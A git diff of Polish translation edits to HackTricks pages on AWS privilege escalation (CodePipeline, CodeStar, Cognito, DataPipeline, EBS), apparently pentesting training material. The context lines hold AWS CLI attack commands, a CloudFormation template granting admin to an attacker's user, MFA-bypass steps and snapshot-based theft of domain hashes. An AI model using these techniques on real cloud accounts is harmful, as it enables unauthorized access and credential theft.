+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji na temat codepipeline, sprawdź:
 
 ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
 
-Podczas tworzenia pipeline'u kodu możesz wskazać **rolę IAM codepipeline do uruchomienia**, dlatego możesz je skompromitować.
+Podczas tworzenia code pipeline możesz wskazać **rolę IAM codepipeline do uruchomienia**, dlatego możesz je skompromitować.
 
 Oprócz wcześniejszych uprawnień potrzebujesz **dostępu do miejsca, w którym przechowywany jest kod** (S3, ECR, github, bitbucket...)
 
-Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia pipeline'u kodu, ale do jego utworzenia w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia codepipeline, ale do stworzenia go w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
 
-Podczas **tworzenia projektu budowy** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę budowy jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować:
+Podczas **tworzenia projektu build** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę build jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować:
 
 ![](<../../../images/image (276).png>)
 
@@ -32,6 +32,6 @@ Może być możliwe modyfikowanie roli używanej i komendy wykonywanej w codepip
 
 [AWS wspomina](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
 
-> Gdy to API jest wywoływane, CodePipeline **zwraca tymczasowe poświadczenia dla koszyka S3** używanego do przechowywania artefaktów dla pipeline'u, jeśli akcja wymaga dostępu do tego koszyka S3 dla artefaktów wejściowych lub wyjściowych. To API również **zwraca wszelkie wartości sekretne zdefiniowane dla akcji**.
+> Gdy to API jest wywoływane, CodePipeline **zwraca tymczasowe poświadczenia dla koszyka S3** używanego do przechowywania artefaktów dla pipeline, jeśli akcja wymaga dostępu do tego koszyka S3 dla artefaktów wejściowych lub wyjściowych. To API również **zwraca wszelkie wartości sekretne zdefiniowane dla akcji**.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index c473974c4..a51456f5e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
 
 ### `iam:PassRole`, `codestar:CreateProject`
 
-Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę:
+Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonywania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę:
 
 {{#ref}}
 iam-passrole-codestar-createproject.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
 
 ### `codestar:CreateProject`, `codestar:AssociateTeamMember`
 
-Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember` do uczynienia użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**.
+Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember`, aby uczynić użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**.
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -41,7 +41,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
 ```
 Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`**, aby **zaktualizować swoją rolę** na właściciela zamiast `codestar:AssociateTeamMember`.
 
-**Potencjalny wpływ:** Privesc do polityki codestar. Możesz znaleźć przykład tej polityki w:
+**Potencjalny wpływ:** Privesc do polityki codestar. Przykład tej polityki można znaleźć w:
 
 {{#ref}}
 codestar-createproject-codestar-associateteammember.md
@@ -58,10 +58,10 @@ codestar-createproject-codestar-associateteammember.md
 - Nazwa stosu zazwyczaj będzie odpowiadać jednemu z dwóch wzorców:
 - `awscodestar-<nazwa ogólna projektu>-infrastructure`
 - `awscodestar-<nazwa ogólna projektu>-lambda`
-- Dokładna nazwa zależy od wybranego szablonu (odwołując się do przykładowego skryptu exploit).
+- Dokładna nazwa zależy od wybranego szablonu (odnosząc się do przykładowego skryptu exploit).
 3. **Dostęp i uprawnienia:**
 - Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej z tym stosem.
-- Uwaga: To nie zapewnia z definicji pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień.
+- Uwaga: To nie zapewnia z natury pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień.
 
 Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
 Możesz znaleźć exploit w [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 30b7057f2..16c34ed06 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -4,7 +4,7 @@
 
 Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar**, aby wykonać **dowolne działania** za pomocą **szablonu cloudformation**.
 
-Aby to wykorzystać, musisz utworzyć **wiadro S3, które jest dostępne** z zaatakowanego konta. Prześlij plik o nazwie `toolchain.json`. Plik ten powinien zawierać **eksploit szablonu cloudformation**. Poniższy może być użyty do ustawienia zarządzanej polityki dla użytkownika pod twoją kontrolą i **przyznania mu uprawnień administratora**:
+Aby to wykorzystać, musisz utworzyć **wiadro S3, które jest dostępne** z zaatakowanego konta. Prześlij plik o nazwie `toolchain.json`. Plik ten powinien zawierać **eksploit szablonu cloudformation**. Można użyć następującego, aby ustawić zarządzaną politykę dla użytkownika pod twoją kontrolą i **przyznać mu uprawnienia administratora**:
 ```json:toolchain.json
 {
 "Resources": {
@@ -32,7 +32,7 @@ Również **prześlij** ten `empty zip` plik do **bucketu**:
 
 {% file src="../../../../images/empty.zip" %}
 
-Pamiętaj, że **bucket z oboma plikami musi być dostępny przez konto ofiary**.
+Pamiętaj, że **bucket z oboma plikami musi być dostępny dla konta ofiary**.
 
 Po przesłaniu obu rzeczy możesz teraz przejść do **eksploatacji**, tworząc projekt **codestar**:
 ```bash
@@ -79,6 +79,6 @@ aws codestar create-project \
 --source-code file://$SOURCE_CODE_PATH \
 --toolchain file://$TOOLCHAIN_PATH
 ```
-To exploit this, you need to have the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Możesz tam znaleźć wariant do stworzenia zarządzanej polityki administratora dla roli zamiast dla użytkownika.
+Ten exploit opiera się na **eksploicie Pacu tych uprawnień**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Można w nim znaleźć wariant do stworzenia zarządzanej polityki administratora dla roli zamiast dla użytkownika.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index 482e6e9f8..4a3d90b50 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -4,7 +4,7 @@
 
 ## Cognito
 
-Aby uzyskać więcej informacji na temat Cognito, sprawdź:
+Aby uzyskać więcej informacji o Cognito, sprawdź:
 
 {{#ref}}
 ../aws-services/aws-cognito-enum/
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat Cognito, sprawdź:
 
 ### Zbieranie poświadczeń z Identity Pool
 
-Ponieważ Cognito może przyznać **poświadczenia roli IAM** zarówno **uwierzytelnionym**, jak i **nieuwierzytelnionym** **użytkownikom**, jeśli znajdziesz **ID Identity Pool** aplikacji (powinno być zakodowane w niej), możesz uzyskać nowe poświadczenia, a tym samym privesc (w ramach konta AWS, na którym prawdopodobnie nie miałeś wcześniej żadnych poświadczeń).
+Ponieważ Cognito może przyznać **poświadczenia roli IAM** zarówno **uwierzytelnionym**, jak i **nieuwierzytelnionym** **użytkownikom**, jeśli znajdziesz **ID Identity Pool** aplikacji (powinno być w niej zakodowane), możesz uzyskać nowe poświadczenia, a tym samym privesc (w obrębie konta AWS, na którym prawdopodobnie nie miałeś wcześniej żadnych poświadczeń).
 
 Aby uzyskać więcej informacji, [**sprawdź tę stronę**](../aws-unauthenticated-enum-access/#cognito).
 
@@ -38,7 +38,7 @@ Jeśli aplikacja cognito **nie ma włączonych użytkowników nieautoryzowanych*
 
 ### `cognito-identity:update-identity-pool`
 
-Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, gdzie może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **zalogowanie** się na tym dostawcy użytkowników **pozwoli mu uzyskać dostęp do skonfigurowanej roli autoryzowanej w Identity Pool**.
+Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, w którym może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **logując się** na tym dostawcy użytkowników, **uzyska dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**.
 ```bash
 # This example is using a Cognito User Pool as identity provider
 ## but you could use any other identity provider
@@ -92,13 +92,13 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> -
 
 ### `cognito-idp:AdminConfirmSignUp`
 
-To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może zalogować się do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.
+To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może się zalogować do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.
 ```bash
 aws cognito-idp admin-confirm-sign-up \
 --user-pool-id <value> \
 --username <value>
 ```
-**Potencjalny wpływ:** Pośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli możesz zarejestrować nowego użytkownika. Pośrednie privesc do innych funkcji aplikacji, mogąc potwierdzić jakiekolwiek konto.
+**Potencjalny wpływ:** Pośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli możesz zarejestrować nowego użytkownika. Pośredni privesc do innych funkcji aplikacji, mogąc potwierdzić jakiekolwiek konto.
 
 ### `cognito-idp:AdminCreateUser`
 
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
 [--validation-data <value>]
 [--temporary-password <value>]
 ```
-**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc stworzyć dowolnego użytkownika.
+**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc stworzyć dowolnego użytkownika.
 
 ### `cognito-idp:AdminEnableUser`
 
@@ -141,7 +141,7 @@ aws cognito-idp admin-set-user-password \
 
 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
 
-**AdminSetUserSettings**: Napastnik mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić telefon komórkowy pod swoją kontrolą jako **SMS MFA użytkownika**.
+**AdminSetUserSettings**: Napastnik mógłby potencjalnie nadużyć tej uprawnienia, aby ustawić telefon komórkowy pod swoją kontrolą jako **SMS MFA użytkownika**.
 ```bash
 aws cognito-idp admin-set-user-settings \
 --user-pool-id <value> \
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
 --username <value> \
 --user-pool-id <value>
 ```
-**SetUserPoolMfaConfig**: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA puli użytkowników w celu ominięcia ochrony MFA.
+**SetUserPoolMfaConfig**: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA w puli użytkowników, aby obejść ochronę MFA.
 ```bash
 aws cognito-idp set-user-pool-mfa-config \
 --user-pool-id <value> \
@@ -166,11 +166,11 @@ aws cognito-idp set-user-pool-mfa-config \
 ```
 **UpdateUserPool:** Możliwe jest również zaktualizowanie puli użytkowników, aby zmienić politykę MFA. [Sprawdź cli tutaj](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
 
-**Potential Impact:** Pośredni privesc do potencjalnie dowolnego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.
+**Potencjalny wpływ:** Pośrednie privesc do potencjalnie każdego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.
 
 ### `cognito-idp:AdminUpdateUserAttributes`
 
-Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub jakikolwiek inny atrybut użytkownika pod jego kontrolą, aby spróbować uzyskać więcej uprawnień w podstawowej aplikacji.\
+Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub jakikolwiek inny atrybut użytkownika pod jego kontrolą, aby spróbować uzyskać więcej uprawnień w aplikacji bazowej.\
 To pozwala na zmianę adresu e-mail lub numeru telefonu i ustawienie go jako zweryfikowanego.
 ```bash
 aws cognito-idp admin-update-user-attributes \
@@ -178,26 +178,26 @@ aws cognito-idp admin-update-user-attributes \
 --username <value> \
 --user-attributes <value>
 ```
-**Potencjalny wpływ:** Potencjalne pośrednie privesc w podstawowej aplikacji korzystającej z Cognito User Pool, która przyznaje uprawnienia na podstawie atrybutów użytkownika.
+**Potencjalny wpływ:** Potencjalne pośrednie podniesienie uprawnień w podstawowej aplikacji korzystającej z Cognito User Pool, które przyznaje uprawnienia na podstawie atrybutów użytkownika.
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool mniej restrykcyjnego** niż już istniejące klienty puli. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...
+Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool o mniej restrykcyjnych** uprawnieniach niż już istniejące klienty pool. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...
 
-To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany zostanie istniejący**.
+To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany jest istniejący**.
 
-W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) możesz zobaczyć wszystkie opcje, sprawdź to!
+W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) można zobaczyć wszystkie opcje, sprawdź to!
 ```bash
 aws cognito-idp create-user-pool-client \
 --user-pool-id <value> \
 --client-name <value> \
 [...]
 ```
-**Potencjalny wpływ:** Potencjalne pośrednie privesc do autoryzowanego użytkownika Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć.
+**Potencjalny wpływ:** Potencjalny pośredni privesc do autoryzowanego użytkownika Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć.
 
 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
 
-Atakujący mógłby nadużyć tego uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami.
+Atakujący mógłby nadużyć tej uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami.
 ```bash
 # Create a new import job
 aws cognito-idp create-user-import-job \
@@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \
 ```
 (W przypadku, gdy tworzysz nowe zadanie importu, możesz również potrzebować uprawnienia iam passrole, jeszcze tego nie testowałem).
 
-**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
+**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
 
 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
 
-Napastnik mógłby stworzyć nowego dostawcę tożsamości, aby móc **zalogować się przez tego dostawcę**.
+Napastnik mógłby utworzyć nowego dostawcę tożsamości, aby następnie móc **zalogować się przez tego dostawcę**.
 ```bash
 aws cognito-idp create-identity-provider \
 --user-pool-id <value> \
@@ -230,16 +230,16 @@ aws cognito-idp create-identity-provider \
 [--attribute-mapping <value>] \
 [--idp-identifiers <value>]
 ```
-**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
+**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
 
 ### cognito-sync:\* Analiza
 
 To bardzo powszechne uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli użycie znaku wieloznacznego w uprawnieniach zawsze wygląda źle (szczególnie w przypadku AWS), **przyznane uprawnienia nie są super przydatne z perspektywy atakującego**.
 
-To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest wrażliwą informacją).\
-Identity IDs mogą mieć przypisane [**Zbiory danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może się zdarzyć, że zawierają one jakiś rodzaj wrażliwych informacji (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji.
+To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest informacją wrażliwą).\
+Identity IDs mogą mieć przypisane [**Zestawy danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może być możliwe, że zawierają one jakiś rodzaj informacji wrażliwych (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji.
 
-Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zbiorach danych lub **lambdy, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się wrażliwych informacji tutaj, ale nie jest to niemożliwe.
+Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zestawach danych lub **lambda, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj informacji wrażliwych, ale nie jest to niemożliwe.
 
 ### Narzędzia automatyczne
 
@@ -249,7 +249,7 @@ Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://
 
 #### Użycie
 
-Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników:
+Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników:
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index a1284b494..cd9333446 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -4,7 +4,7 @@
 
 ## datapipeline
 
-Aby uzyskać więcej informacji o datapipeline, sprawdź:
+Aby uzyskać więcej informacji na temat datapipeline, sprawdź:
 
 {{#ref}}
 ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -50,7 +50,7 @@ Po utworzeniu potoku, atakujący aktualizuje jego definicję, aby określić kon
 }
 ```
 > [!NOTE]
-> Zauważ, że **rola** w **linii 14, 15 i 27** musi być rolą **możliwą do przyjęcia przez datapipeline.amazonaws.com**, a rola w **linii 28** musi być **rolą możliwą do przyjęcia przez ec2.amazonaws.com z profilem instancji EC2**.
+> Zauważ, że **rola** w **liniach 14, 15 i 27** musi być rolą **możliwą do przyjęcia przez datapipeline.amazonaws.com**, a rola w **linii 28** musi być **rolą możliwą do przyjęcia przez ec2.amazonaws.com z profilem instancji EC2**.
 >
 > Ponadto, instancja EC2 będzie miała dostęp tylko do roli możliwej do przyjęcia przez instancję EC2 (więc możesz ukraść tylko tę).
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 6d7b087b1..0d35dc530 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -1,4 +1,4 @@
-# AWS - Privesc Usług Katalogowych
+# AWS - Przejęcie uprawnień w Usługach Katalogowych
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -23,10 +23,10 @@ Możliwe jest włączenie **adresu URL dostępu do aplikacji**, do którego uży
 
 <figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
 
-A następnie **przyznać im rolę AWS IAM** na czas logowania, w ten sposób użytkownik/grupa AD będą miały dostęp do konsoli zarządzania AWS:
+A następnie **przyznanie im roli AWS IAM** na czas logowania, w ten sposób użytkownik/grupa AD będzie miała dostęp do konsoli zarządzania AWS:
 
 <figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
 
-Nie ma najwyraźniej żadnego sposobu na włączenie adresu URL dostępu do aplikacji, konsoli zarządzania AWS i przyznanie uprawnień
+Wygląda na to, że nie ma sposobu na włączenie adresu URL dostępu do aplikacji, konsoli zarządzania AWS i przyznanie uprawnień.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 72994ec01..89c76daed 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat dynamodb, sprawdź:
 
 ### Post Exploitation
 
-Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**:
+Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) oraz **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 549aaed91..a6f6e58df 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,7 +6,7 @@
 
 ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
 
-Atakujący posiadający te uprawnienia będzie mógł potencjalnie **pobierać i analizować migawki woluminów lokalnie** oraz szukać w nich wrażliwych informacji (takich jak sekrety czy kod źródłowy). Dowiedz się, jak to zrobić w:
+Atakujący posiadający te uprawnienia będzie mógł potencjalnie **pobierać i analizować migawki wolumenów lokalnie** oraz szukać w nich wrażliwych informacji (takich jak sekrety czy kod źródłowy). Dowiedz się, jak to zrobić w:
 
 {{#ref}}
 ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -16,12 +16,12 @@ Inne uprawnienia mogą być również przydatne, takie jak: `ec2:DescribeInstanc
 
 Narzędzie [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) przeprowadza ten atak, aby **wyciągnąć hasła z kontrolera domeny**.
 
-**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w migawce (możesz nawet uzyskać hasła Active Directory).
+**Potencjalny wpływ:** Pośredni privesc poprzez lokalizowanie wrażliwych informacji w migawce (możesz nawet uzyskać hasła Active Directory).
 
 ### **`ec2:CreateSnapshot`**
 
-Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz rejestr SYSTEM** do użycia z projektem secretsdump Impacket.
+Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, oraz **eksportując plik NTDS.dit i SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
 
